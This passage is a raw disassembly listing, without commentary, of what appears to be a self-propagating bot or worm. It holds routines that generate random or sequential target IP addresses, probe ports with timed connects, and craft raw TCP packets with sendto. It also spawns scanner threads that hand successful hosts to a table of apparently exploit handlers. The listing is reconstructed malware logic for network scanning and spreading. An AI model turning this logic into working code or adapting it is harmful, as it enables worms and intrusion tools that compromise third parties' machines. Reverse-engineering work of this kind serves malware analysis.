		add	esp, 0Ch

loc_40C4CA:				; CODE XREF: sub_40C12D+376j
		lea	eax, [ebp+Source]
		push	eax
		call	sub_415C3F
		pop	ecx

loc_40C4D7:				; CODE XREF: sub_40C12D+2A8j
		mov	eax, [ebp+arg_130]

loc_40C4DD:				; CODE XREF: sub_40C12D+298j
		shl	eax, 6
		cmp	dword_448230[eax], ebx
		jz	loc_40C5FF
		push	3
		call	sub_40B99E
		test	eax, eax
		pop	ecx
		jnz	loc_40C5FF
		mov	esi, offset byte_4E5AEC
		push	104h
		push	esi
		push	ebx
		call	ds:dword_4F5344	; GetModuleFileNameA
		push	5Ch		; Ch
		push	esi		; Str
		call	_strrchr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40C51E
		mov	[eax], bl

loc_40C51E:				; CODE XREF: sub_40C12D+3EDj
		mov	eax, dword_43F07C
		mov	dword_4E5C04, ebx
		mov	dword_4E5BF0, eax
		lea	eax, [ebp+Format]
		push	eax		; Format
		push	offset byte_4E5864 ; Dest
		call	_sprintf
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_4E5860, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_4E5BF0
		mov	dword_4E5BFC, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_4E5C00, ecx
		call	sub_40AF71
		pop	ecx
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_448884 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Source]
		push	3		; int
		push	eax		; Source
		call	sub_40B756
		add	esp, 20h
		mov	dword_4E5BF8, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4E5860
		push	offset sub_40FB50
		push	ebx
		push	ebx
		call	ds:dword_4F5350	; CreateThread
		mov	ecx, dword_4E5BF8
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45602C[ecx], eax
		jz	short loc_40C5D7

loc_40C5C5:				; CODE XREF: sub_40C12D+4A8j
		cmp	dword_4E5C0C, ebx
		jnz	short loc_40C5F2
		push	32h
		call	ds:dword_4F534C	; Sleep
		jmp	short loc_40C5C5
; ---------------------------------------------------------------------------

loc_40C5D7:				; CODE XREF: sub_40C12D+496j
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_4488C0 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch

loc_40C5F2:				; CODE XREF: sub_40C12D+49Ej
		lea	eax, [ebp+Source]
		push	eax
		call	sub_415C3F
		pop	ecx

loc_40C5FF:				; CODE XREF: sub_40C12D+14j
					; sub_40C12D+25j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40C12D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40C603(int Dst)

sub_40C603	proc near		; CODE XREF: sub_40C951:loc_40C9C2p

Dst		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+Dst]
		push	esi
		push	4		; Size
		lea	esi, dword_4E3258[eax*8]
		lea	eax, [ebp+Dst]
		push	esi		; Src
		push	eax		; Dst
		call	_memcpy
		add	esp, 0Ch
		push	[ebp+Dst]
		call	dword_4E3020	; htonl
		inc	eax
		push	eax
		mov	[ebp+Dst], eax
		call	dword_4E30F4	; htonl
		mov	[ebp+Dst], eax
		lea	eax, [ebp+Dst]
		push	4		; Size
		push	eax		; Src
		push	esi		; Dst
		call	_memcpy
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40C603	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40C64B(char *Src,int)

sub_40C64B	proc near		; CODE XREF: sub_40C951+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
Src		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+Src]	; Str
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	_strlen
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40C673
		xor	eax, eax
		jmp	short loc_40C6E4
; ---------------------------------------------------------------------------

loc_40C673:				; CODE XREF: sub_40C64B+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D_0 ; "%d.%d.%d.%d"
		push	[ebp+Src]	; Src
		call	_sscanf
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40C6A0
		call	_rand
		mov	[ebp+var_C], eax

loc_40C6A0:				; CODE XREF: sub_40C64B+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_40C6AD
		call	_rand
		mov	[ebp+var_8], eax

loc_40C6AD:				; CODE XREF: sub_40C64B+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40C6BA
		call	_rand
		mov	[ebp+var_4], eax

loc_40C6BA:				; CODE XREF: sub_40C64B+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40C6C6
		call	_rand

loc_40C6C6:				; CODE XREF: sub_40C64B+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4E3258[ecx*8], eax

loc_40C6E4:				; CODE XREF: sub_40C64B+26j
		pop	esi
		leave
		retn
sub_40C64B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C6E7	proc near		; CODE XREF: sub_40BF01+59p
					; sub_40C951+BBp ...

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_4E3178	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C710
		xor	eax, eax
		jmp	short loc_40C77F
; ---------------------------------------------------------------------------

loc_40C710:				; CODE XREF: sub_40C6E7+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_4E30F8	; htons
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4E3194	; ioctlsocket
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_4E30A0	; connect
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_4E30E0	; select
		push	esi
		mov	edi, eax
		call	dword_4E3190	; closesocket
		xor	eax, eax
		cmp	edi, ebx
		setnle	al

loc_40C77F:				; CODE XREF: sub_40C6E7+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C6E7	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 10110h
		call	__alloca_probe
		push	ebx
		push	esi
		push	edi
		mov	edi, 2649h
		push	edi
		call	dword_4E30F8	; htons
		push	dword ptr [ebp+10h]
		mov	[ebp-28h], ax
		call	dword_4E30F8	; htons
		mov	[ebp-26h], ax
		call	_rand
		xor	ebx, ebx
		push	200h
		mov	[ebp-24h], eax
		mov	[ebp-20h], ebx
		mov	[ebp-1Ch], bx
		mov	[ebp-0Ch], bx
		mov	word ptr [ebp-1Ah], 5
		mov	[ebp-18h], bx
		mov	word ptr [ebp-16h], 1
		mov	[ebp-14h], bx
		mov	[ebp-12h], bx
		mov	[ebp-10h], bx
		mov	[ebp-0Eh], bx
		call	dword_4E30F8	; htons
		mov	esi, [ebp+0Ch]
		mov	[ebp-0Ah], ax
		mov	eax, [ebp+8]
		push	24h
		mov	[ebp-8], bx
		mov	[ebp-6], bx
		mov	[ebp-58h], eax
		mov	[ebp-54h], esi
		mov	[ebp-50h], bl
		mov	byte ptr [ebp-4Fh], 6
		call	dword_4E30F8	; htons
		mov	[ebp-4Eh], ax
		lea	eax, [ebp-28h]
		push	24h
		push	eax
		lea	eax, [ebp-4Ch]
		push	eax
		call	_memcpy
		lea	eax, [ebp-58h]
		push	20h
		push	eax
		call	sub_40AFCA
		mov	[ebp-8], ax
		push	10h
		lea	eax, [ebp-38h]
		push	ebx
		push	eax
		call	_memset
		add	esp, 20h
		mov	word ptr [ebp-38h], 2
		push	dword ptr [ebp+10h]
		call	dword_4E30F8	; htons
		push	6
		push	3
		push	2
		mov	[ebp-36h], ax
		mov	[ebp-34h], esi
		mov	dword ptr [ebp-4], 10h
		call	dword_4E3178	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C883
		push	offset aSocketOpenFail ; "socket open failed"
		jmp	loc_40C944
; ---------------------------------------------------------------------------

loc_40C883:				; CODE XREF: .text:0040C877j
		push	dword ptr [ebp-4]
		lea	eax, [ebp-38h]
		push	eax
		push	ebx
		lea	eax, [ebp-28h]
		push	24h
		push	eax
		push	esi
		call	dword_4E315C	; sendto
		cmp	eax, 14h
		mov	[ebp+10h], eax
		jz	short loc_40C8CC
		call	dword_4E308C	; WSAGetLastError
		push	eax
		lea	eax, [ebp-0D8h]
		push	dword ptr [ebp+10h]
		push	offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."...
		push	eax
		call	_sprintf
		lea	eax, [ebp-0D8h]
		push	eax
		call	sub_415C3F
		add	esp, 14h
		jmp	short loc_40C915
; ---------------------------------------------------------------------------

loc_40C8CC:				; CODE XREF: .text:0040C89Ej
		push	10038h
		lea	eax, [ebp-10110h]
		push	ebx
		push	eax
		call	_memset
		add	esp, 0Ch

loc_40C8E1:				; CODE XREF: .text:0040C908j
		cmp	[ebp-100FAh], di
		jz	short loc_40C91E
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-38h]
		push	eax
		push	ebx
		lea	eax, [ebp-10110h]
		push	10038h
		push	eax
		push	esi
		call	dword_4E30D0	; recvfrom
		test	eax, eax
		jge	short loc_40C8E1
		push	offset aRecvfromSocket ; "recvfrom() socket failed"
		call	sub_415C3F
		pop	ecx

loc_40C915:				; CODE XREF: .text:0040C8CAj
		push	esi
		call	dword_4E3190	; closesocket
		jmp	short loc_40C94A
; ---------------------------------------------------------------------------

loc_40C91E:				; CODE XREF: .text:0040C8E8j
		push	esi
		call	dword_4E3190	; closesocket
		cmp	word ptr [ebp-100EAh], 1
		jnz	short loc_40C93F
		push	offset aSocketOpen_ ; "Socket open."
		call	sub_415C3F
		pop	ecx
		push	1
		pop	eax
		jmp	short loc_40C94C
; ---------------------------------------------------------------------------

loc_40C93F:				; CODE XREF: .text:0040C92Dj
		push	offset aSocketClosed_ ;	"Socket	closed."

loc_40C944:				; CODE XREF: .text:0040C87Ej
		call	sub_415C3F
		pop	ecx

loc_40C94A:				; CODE XREF: .text:0040C91Cj
		xor	eax, eax

loc_40C94C:				; CODE XREF: .text:0040C93Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C951	proc near		; DATA XREF: sub_40CB69+13Bo

var_2A8		= dword	ptr -2A8h
Dest		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
Src		= byte ptr -150h
var_140		= byte ptr -140h
Str		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+Src]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		call	ds:dword_4F537C	; GetTickCount
		push	eax		; Seed
		call	_srand
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h

loc_40C998:				; CODE XREF: sub_40C951+204j
		mov	eax, dword_45601C[ebx]
		cmp	dword_4E325C[eax*8], 0
		jz	loc_40CB5A
		cmp	[ebp+var_10], 0
		push	eax		; Dst
		jz	short loc_40C9C2
		lea	eax, [ebp+Src]
		push	eax		; Src
		call	sub_40C64B
		pop	ecx
		jmp	short loc_40C9C7
; ---------------------------------------------------------------------------

loc_40C9C2:				; CODE XREF: sub_40C951+60j
		call	sub_40C603

loc_40C9C7:				; CODE XREF: sub_40C951+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_45601C[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_4E3184	; inet_ntoa
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_448978 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 18h
		lea	eax, [ebp+Dest]
		push	eax		; Format
		lea	eax, dword_455E18[ebx]
		push	eax		; Dest
		call	_sprintf
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_40C6E7
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_40CB4A
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_40CA9E
		push	offset dword_4E5258
		call	ds:dword_4F53A8	; RtlEnterCriticalSection
		push	[ebp+var_3C]
		push	edi
		call	dword_4E3184	; inet_ntoa
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_4489B0 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40CA80
		cmp	[ebp+Str], 0
		push	1		; int
		push	[ebp+var_18]	; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		lea	eax, [ebp+Str]
		jnz	short loc_40CA74
		lea	eax, [ebp+var_140]

loc_40CA74:				; CODE XREF: sub_40C951+11Bj
		push	eax		; Str
		push	[ebp+var_40]	; int
		call	sub_409D34
		add	esp, 14h

loc_40CA80:				; CODE XREF: sub_40C951+100j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		mov	[esp+2A8h+var_2A8], offset dword_4E5258
		call	ds:dword_4F53A4	; RtlLeaveCriticalSection
		jmp	loc_40CB4A
; ---------------------------------------------------------------------------

loc_40CA9E:				; CODE XREF: sub_40C951+D0j
		push	edi
		call	dword_4E3184	; inet_ntoa
		push	eax		; Format
		lea	eax, [ebp+var_208]
		push	eax		; Dest
		call	_sprintf
		mov	eax, [ebp+var_20]
		pop	ecx
		shl	eax, 6
		pop	ecx
		add	eax, offset aSym ; "sym"
		push	eax		; Format
		lea	eax, [ebp+var_178]
		push	eax		; Dest
		call	_sprintf
		cmp	[ebp+Str], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+Str]
		jnz	short loc_40CAE3
		lea	eax, [ebp+var_140]

loc_40CAE3:				; CODE XREF: sub_40C951+18Aj
		push	eax		; Format
		lea	eax, [ebp+var_1F8]
		push	eax		; Dest
		call	_sprintf
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		pop	ecx
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		sub	esp, 0BCh
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		push	2Fh
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_168], esi
		mov	[ebp+var_164], eax
		lea	esi, [ebp+var_20C]
		mov	edi, esp
		shl	eax, 6
		rep movsd
		call	off_448224[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh

loc_40CB4A:				; CODE XREF: sub_40C951+C6j
					; sub_40C951+148j
		push	7D0h
		call	ds:dword_4F534C	; Sleep
		jmp	loc_40C998
; ---------------------------------------------------------------------------

loc_40CB5A:				; CODE XREF: sub_40C951+55j
		push	esi
		call	sub_40BA72
		pop	ecx
		push	0
		call	ds:dword_4F53A0	; ExitThread
sub_40C951	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CB69	proc near		; DATA XREF: sub_401CC7+1F72o
					; sub_401CC7+5CC9o

var_1DC		= dword	ptr -1DCh
Source		= byte ptr -1CCh
var_14C		= byte ptr -14Ch
Str		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_4E3138	; inet_addr
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_4E3258[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40C12D
		push	0Bh
		call	sub_40B99E
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_40CC37
		mov	esi, offset dword_4E5258
		push	esi
		call	ds:dword_4F53B0	; RtlDeleteCriticalSection
		push	80000400h
		push	esi
		call	ds:dword_4F53AC	; InitializeCriticalSectionAndSpinCount
		test	eax, eax
		jnz	short loc_40CC37
		lea	eax, [ebp+Source]
		push	offset asc_4489D8 ; "-"
		push	eax		; Dest
		call	_sprintf
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_40CC21
		push	ebx		; int
		lea	eax, [ebp+Source]
		push	[ebp+var_14]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_3C]	; int
		call	sub_409D34
		add	esp, 14h

loc_40CC21:				; CODE XREF: sub_40CB69+99j
		lea	eax, [ebp+Source]
		push	eax
		call	sub_415C3F
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------

loc_40CC37:				; CODE XREF: sub_40CB69+63j
					; sub_40CB69+7Fj
		mov	eax, [ebp+var_2C]
		mov	esi, ds:dword_4F534C
		mov	edi, ebx
		mov	dword_4E325C[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_40CD04

loc_40CC55:				; CODE XREF: sub_40CB69+195j
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_448A0C ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Source]
		push	0Bh		; int
		push	eax		; Source
		call	sub_40B756
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_45601C[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40C951
		push	ebx
		push	ebx
		call	ds:dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45602C[ecx], eax
		jz	short loc_40CCCF

loc_40CCC4:				; CODE XREF: sub_40CB69+164j
		cmp	[ebp+var_4], ebx
		jnz	short loc_40CCF6
		push	1Eh
		call	esi	; Sleep
		jmp	short loc_40CCC4
; ---------------------------------------------------------------------------

loc_40CCCF:				; CODE XREF: sub_40CB69+159j
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_448A40 ; "-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Source]
		push	eax
		call	sub_415C3F
		add	esp, 10h

loc_40CCF6:				; CODE XREF: sub_40CB69+15Ej
		push	1Eh
		call	esi	; Sleep
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_40CC55

loc_40CD04:				; CODE XREF: sub_40CB69+E6j
		cmp	[ebp+var_30], ebx
		jz	loc_40CDAE
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi	; Sleep

loc_40CD19:				; CODE XREF: sub_40CB69+250j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_4E3258[eax*8]
		push	eax
		call	dword_4E3184	; inet_ntoa
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_448A78 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_40CD67
		push	ebx		; int
		lea	eax, [ebp+Source]
		push	[ebp+var_14]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_3C]	; int
		call	sub_409D34
		add	esp, 14h

loc_40CD67:				; CODE XREF: sub_40CB69+1DFj
		lea	eax, [ebp+Source]
		push	eax
		call	sub_415C3F
		mov	eax, [ebp+var_2C]
		mov	[esp+1DCh+var_1DC], 0BB8h
		mov	dword_4E325C[eax*8], ebx
		call	esi	; Sleep
		push	0Bh
		call	sub_40B99E
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40CD9E
		push	offset dword_4E5258
		call	ds:dword_4F53B0	; RtlDeleteCriticalSection

loc_40CD9E:				; CODE XREF: sub_40CB69+228j
		push	[ebp+var_2C]
		call	sub_40BA72
		pop	ecx
		push	ebx
		call	ds:dword_4F53A0	; ExitThread

loc_40CDAE:				; CODE XREF: sub_40CB69+19Ej
					; sub_40CB69+25Dj
		mov	eax, [ebp+var_2C]
		cmp	dword_4E325C[eax*8], 1
		jnz	loc_40CD19
		push	7D0h
		call	esi	; Sleep
		jmp	short loc_40CDAE
sub_40CB69	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CDC8	proc near		; DATA XREF: sub_40CE95+7Bo
					; sub_40CF86+7Bo

var_BC		= dword	ptr -0BCh
Str		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
Dst		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0BCh
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_BC]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A8h], esi
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+var_38]
		call	dword_4E30F8	; htons
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_4E3178	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40CE86
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	esi
		call	dword_4E30A0	; connect
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_456024[ecx], esi
		jz	short loc_40CE86
		push	[ebp+var_38]
		push	[ebp+var_28]
		call	dword_4E3184	; inet_ntoa
		push	eax
		mov	edi, offset byte_4E5C1C
		push	offset asc_448AB8 ; "-"
		push	edi		; Dest
		call	_sprintf
		push	0		; int
		lea	eax, [ebp+Str]
		push	[ebp+var_20]	; int
		push	edi		; int
		push	eax		; Str
		push	[ebp+var_BC]	; int
		call	sub_409D34
		push	edi
		call	sub_415C3F
		add	esp, 28h

loc_40CE86:				; CODE XREF: sub_40CDC8+5Dj
					; sub_40CDC8+7Ej
		push	esi
		call	dword_4E3190	; closesocket
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40CDC8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame

; int __cdecl sub_40CE95(int Dst)

sub_40CE95	proc near		; DATA XREF: sub_401CC7+60BFo

Dest		= byte ptr -134h
var_B4		= byte ptr -0B4h
var_30		= dword	ptr -30h
var_24		= dword	ptr -24h
Src		= dword	ptr -20h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
Dst		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 134h
		push	ebx
		mov	ebx, [ebp+Dst]
		push	esi
		push	edi
		push	2Bh
		mov	esi, ebx
		pop	ecx
		lea	edi, [ebp+var_B4]
		rep movsd
		mov	esi, ds:dword_4F534C
		mov	dword ptr [ebx+0A4h], 1
		xor	edi, edi

loc_40CEC3:				; CODE XREF: sub_40CE95+ECj
		push	[ebp+var_30]
		push	[ebp+Src]
		call	dword_4E3184	; inet_ntoa
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_448AE0 ; "-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dest]
		push	1FFh		; Count
		push	eax		; Source
		mov	eax, [ebp+var_24]
		imul	eax, 234h
		add	eax, offset dword_455E18
		push	eax		; Dest
		call	_strncpy
		add	esp, 1Ch
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_B4]
		push	edi
		push	eax
		push	offset sub_40CDC8
		push	edi
		push	edi
		call	ds:dword_4F5350	; CreateThread
		cmp	eax, edi
		mov	[ebp+var_4], eax
		jz	short loc_40CF2F

loc_40CF24:				; CODE XREF: sub_40CE95+98j
		cmp	[ebp+var_C], edi
		jnz	short loc_40CF2F
		push	32h
		call	esi	; Sleep
		jmp	short loc_40CF24
; ---------------------------------------------------------------------------

loc_40CF2F:				; CODE XREF: sub_40CE95+8Dj
					; sub_40CE95+92j
		push	[ebp+var_4]
		call	ds:dword_4F533C	; CloseHandle
		push	dword ptr [ebx+8Ch]
		mov	[ebx+0A8h], edi
		call	esi	; Sleep
		lea	eax, [ebp+Src]
		push	4		; Size
		push	eax		; Src
		lea	eax, [ebp+Dst]
		push	eax		; Dst
		call	_memcpy
		add	esp, 0Ch
		push	[ebp+Dst]
		call	dword_4E3020	; htonl
		inc	eax
		push	eax
		mov	[ebp+Dst], eax
		call	dword_4E30F4	; htonl
		mov	[ebp+Dst], eax
		lea	eax, [ebp+Dst]
		push	4		; Size
		push	eax		; Src
		lea	eax, [ebp+Src]
		push	eax		; Dst
		call	_memcpy
		add	esp, 0Ch
		jmp	loc_40CEC3
sub_40CE95	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CF86	proc near		; DATA XREF: sub_401CC7+5DCFo

Dest		= byte ptr -130h
var_B0		= dword	ptr -0B0h
Str		= byte ptr -0ACh
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 130h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		mov	esi, ebx
		pop	ecx
		lea	edi, [ebp+var_B0]
		rep movsd
		mov	esi, ds:dword_4F534C
		mov	dword ptr [ebx+0A4h], 1
		xor	edi, edi

loc_40CFB4:				; CODE XREF: sub_40CF86+BCj
		push	[ebp+var_2C]
		push	[ebp+var_1C]
		call	dword_4E3184	; inet_ntoa
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_448B08 ; "-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dest]
		push	1FFh		; Count
		push	eax		; Source
		mov	eax, [ebp+var_20]
		imul	eax, 234h
		add	eax, offset dword_455E18
		push	eax		; Dest
		call	_strncpy
		add	esp, 1Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_B0]
		push	edi
		push	eax
		push	offset sub_40CDC8
		push	edi
		push	edi
		call	ds:dword_4F5350	; CreateThread
		cmp	eax, edi
		mov	[ebp+arg_0], eax
		jz	short loc_40D020

